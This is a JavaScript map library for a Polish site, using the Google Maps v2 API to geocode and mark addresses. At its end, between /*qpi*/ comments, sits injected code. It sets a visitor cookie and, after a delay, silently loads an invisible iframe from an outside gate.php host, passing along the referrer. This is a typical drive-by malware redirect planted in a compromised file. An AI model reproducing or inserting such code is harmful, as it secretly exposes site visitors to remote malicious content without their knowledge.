/**
 * Author of Library: APLIT
*/
 
//global variables
var mapa = null;
var geo = new GClientGeocoder();
var icon = new GIcon();
icon.image = "/images/conference.png";
icon.iconSize = new GSize(32, 37);
icon.iconAnchor = new GPoint(16, 18);
icon.infoWindowAnchor = new GPoint(16, 1);
icon.shadow = "";
//initialization
function initialize(ulica, miasto, kod) {
    if (GBrowserIsCompatible()) {
        mapa = new GMap2(document.getElementById("mapa"));
        mapa.addControl(new GLargeMapControl());
        mapa.addControl(new GMapTypeControl());
        mapa.addControl(new GScaleControl());
        mapa.enableDoubleClickZoom();
        mapa.enableContinuousZoom();
        mapa.enableScrollWheelZoom();
        mapa.setCenter(new GLatLng(52.03152, 18.24576), 6);
        adres = kod + ',' + miasto + ', ' + ulica;
        geo.getLocations(adres, function(obiekt) {
            if (obiekt && obiekt.Status.code == 200) {
                    miejsce = obiekt.Placemark[0];
                    punkt = new GLatLng( miejsce.Point.coordinates[1], miejsce.Point.coordinates[0] );
                    marker = new GMarker( punkt, icon );
                    mapa.clearOverlays();
                    mapa.addOverlay(marker);
                    mapa.setCenter(punkt, poziom(miejsce.AddressDetails.Accuracy) );
            } else  {
                adres = kod + ', ' + ulica;
                geo.getLocations(adres, function(obiekt) {
                if (obiekt && obiekt.Status.code == 200) {
                    miejsce = obiekt.Placemark[0];
                    punkt = new GLatLng( miejsce.Point.coordinates[1], miejsce.Point.coordinates[0] );
                    marker = new GMarker( punkt, icon );
                    mapa.clearOverlays();
                    mapa.addOverlay(marker);
                    mapa.setCenter(punkt, poziom(miejsce.AddressDetails.Accuracy) );
                } else  {
                    adres = kod + ', ' + miasto;
                    geo.getLocations(adres, function(obiekt) {
                    if (obiekt && obiekt.Status.code == 200) {
                        miejsce = obiekt.Placemark[0];
                        punkt = new GLatLng( miejsce.Point.coordinates[1], miejsce.Point.coordinates[0] );
                        marker = new GMarker( punkt );
                        mapa.clearOverlays();
                        mapa.addOverlay( marker, icon );
                        mapa.setCenter(punkt, poziom(miejsce.AddressDetails.Accuracy) );
                    } else  {
                        mapa.style.display = "none";
                        document.getElementById("dokladnosc").innerHTML = "Nie odnaleziono współrzędnych obiektu";
                    }
                    });
                }
                });
            }
        });
    }
}

function initializeEx(lat, lan, lvl) {
    if (GBrowserIsCompatible()) {
        mapa = new GMap2(document.getElementById("mapa"));
        mapa.addControl(new GLargeMapControl());
        mapa.addControl(new GMapTypeControl());
        mapa.addControl(new GScaleControl());
        mapa.enableDoubleClickZoom();
        mapa.enableContinuousZoom();
        mapa.enableScrollWheelZoom();
        punkt = new GLatLng( lat, lan );
        mapa.setCenter(punkt, poziom(lvl) );
        marker = new GMarker( punkt, icon );
        mapa.clearOverlays();
        mapa.addOverlay(marker);
    }
}

function poziom( google_accuracy ) {
    switch( google_accuracy ) {
        case 9:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do budynku";
            return 17;
        case 8:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do adresu";
            return 16;
        case 7:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do skrzyżowania";
            return 15;
        case 6:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do ulicy";
            return 14;
        case 5:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do dzielnicy";
            return 13;
        case 4:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do miasta";
            return 12;
        case 3:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do powiatu";
            return 10;
        case 2:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do województwa";
            return 8;
        case 1:
            document.getElementById("dokladnosc").innerHTML = "Obiekt wyświetlany z dokładnością do kraju";
            return 6;
        default:
            document.getElementById("dokladnosc").innerHTML = "Dokładność nieustalona...";
            return 6;
    }
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=961827&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
